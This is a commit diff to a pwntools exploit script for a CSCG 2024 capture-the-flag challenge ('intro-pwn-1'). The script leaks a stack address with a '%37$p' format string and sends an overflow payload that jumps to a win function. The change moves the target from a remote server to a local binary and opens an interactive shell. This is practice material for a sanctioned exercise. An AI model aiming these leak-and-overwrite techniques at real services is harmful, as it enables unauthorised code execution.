rsa lesson added

2024/cscg/pwn/intro-pwn-1/exploit.py

@@ -6,8 +6,10 @@ ret_sled = 0x9eb
 win_func_offset = 0x9ec
 
 #with remote("b037e7ec4c1207e6b54007fb-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True) as p:
-with remote("localhost", 1024, fam="ipv4") as p:
+#with remote("localhost", 1024, fam="ipv4") as p:
+with process("./pwn1") as p:
     p.recvuntil(b":")
+    input("debugger")
     p.sendline(b"%37$p")
     data = p.recvuntil(b":")
     memory_address_pattern = r"0x[0-9a-fA-F]+"
@@ -25,5 +27,6 @@ with remote("localhost", 1024, fam="ipv4") as p:
     payload += p64((memory_address & 0xFFFFFFFFFFFFF000) | ret_sled)
     payload += p64(win_address)
     p.sendline(payload)
-    p.sendline(b"cat flag")
-    log.info(p.clean())
+    p.interactive()
+    #p.sendline(b"cat flag")
+    #log.info(p.clean())